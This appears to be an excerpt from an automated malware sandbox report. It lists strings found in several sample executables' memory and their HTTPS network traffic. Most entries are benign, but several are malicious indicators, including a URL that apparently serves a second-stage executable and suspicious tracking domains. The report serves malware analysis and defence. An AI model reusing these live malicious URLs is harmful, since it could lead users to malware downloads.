Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3332027177.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3335727398.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3332828124.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3291744090.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3342112585.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3334633146.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3333318055.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3294410834.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3330050316.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3338325824.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3293583119.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3289816202.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3336449374.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3291237815.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3339042893.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3342910415.00000000018D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3332027177.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3335727398.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3332828124.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3291744090.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3342112585.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3334633146.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3333318055.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3294410834.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3330050316.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3338325824.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3293583119.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3289816202.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3336449374.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3291237815.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3339042893.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3342910415.00000000018D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.security.us.panasonic.com
Source: TrIR3OjzF5zT6wur9yJ59R0V.exe, 00000015.00000002.3350644309.00000268C3011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.srvstattis.top/go/a1092825-4fdd-4f87-a9d5-b6b7def0d417?q=
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: TrIR3OjzF5zT6wur9yJ59R0V.exe, 00000015.00000002.3350644309.00000268C3011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xot.traxa41.net
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zanzibarpivo.com/
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zanzibarpivo.com/s
Source: tZvjMg3Hw9.exe, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B14000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2190594128.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B05000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B14000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zanzibarpivo.com:80/7725eaa6592c80f8124e769b4e8a07f7.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B14000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zanzibarpivo.com:80/7725eaa6592c80f8124e769b4e8a07f7.exef

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 172.67.75.163:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.19:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.119:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.144.181:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.118:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.113:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.172.104:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.130.41.108:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 37.221.125.202:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.186.225.194:443 -> 192.168.2.5:49760 version: TLS 1.2
